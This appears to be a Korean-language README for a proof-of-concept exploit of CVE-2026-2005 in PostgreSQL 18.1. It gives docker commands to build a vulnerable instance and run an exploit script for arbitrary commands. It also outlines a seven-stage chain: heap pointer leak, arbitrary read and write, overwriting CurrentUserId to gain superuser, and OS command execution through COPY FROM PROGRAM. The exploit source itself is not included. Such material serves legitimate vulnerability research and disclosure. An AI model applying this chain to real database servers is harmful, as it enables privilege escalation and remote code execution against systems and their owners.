# PostgreSQL 18.1(취약 버전) 빌드 및 시작
docker compose up -d --build

# healthy 상태 대기
docker compose logs -f postgres
# "database system is ready to accept connections" 메시지가 보이면 Ctrl+C

# 1회성 설정: 오프라인 심볼 파싱을 위해 postgres 바이너리 복사
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres

# node 의존성 설치
npm install

# 전체 RCE 익스플로잇 체인 실행 (순수 SQL — Docker 상호작용 없음)
node exploit.js --cmd "id"

# 상세 출력 포함
node exploit.js --cmd "id" --verbose

# 사용자 정의 명령 실행
node exploit.js --cmd "whoami"

Stage 1: 힙 포인터 누출
  └─ mdst 청크 헤더 손상 → pfree() 오류 메시지 파싱

Stage 2: 임의 읽기 (멀티 윈도우 스캔)
  └─ mdst->data 덮어쓰기 → 누출된 포인터 주변 메모리 스캔

Stage 3: 포인터 후보 수집
  └─ 힙 덤프에서 포인터 형태의 8바이트 값 스캔

Stage 4: PIE 베이스 해석
  └─ ELF 심볼 오프셋에 대해 누출된 주소 투표 (페이지 오프셋
     그룹화, 오프라인 — 로컬 바이너리 복사본에서 심볼 파싱)

Stage 5: PIE 검증
  └─ 후보 베이스에서 CurrentUserId 임의 읽기 → 세션 OID와 비교

Stage 6: 임의 쓰기
  └─ msrc + mdst MBuf 위조 → CurrentUserId 덮어쓰기 → 10 (슈퍼유저)

Stage 7: 명령 실행
  └─ COPY FROM PROGRAM → postgres 사용자 권한으로 임의 OS 명령 실행

CVE-2026-2005/
├── Dockerfile              # 소스에서 PostgreSQL 18.1 빌드
├── docker-compose.yml      # 자동 재시작이 포함된 PostgreSQL 서비스
├── init.sh                 # 엔트리포인트 — initdb + listen 설정
├── README.md               # 이 파일
└── poc/
    ├── package.json        # Node.js 의존성 (pg)
    ├── exploit.js          # 전체 7단계 RCE 익스플로잇 (Node.js)
    ├── verify.sh           # 셸 기반 빠른 검증
    └── test-pgcrypto.sql   # pgcrypto 로딩의 SQL 전용 테스트

git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
    --prefix="$HOME/projects/pg/pgsql" \
    --with-libxml \
    --with-libxslt \
    --enable-debug \
    --with-ssl=openssl
make -j$(nproc)
make install-world-bin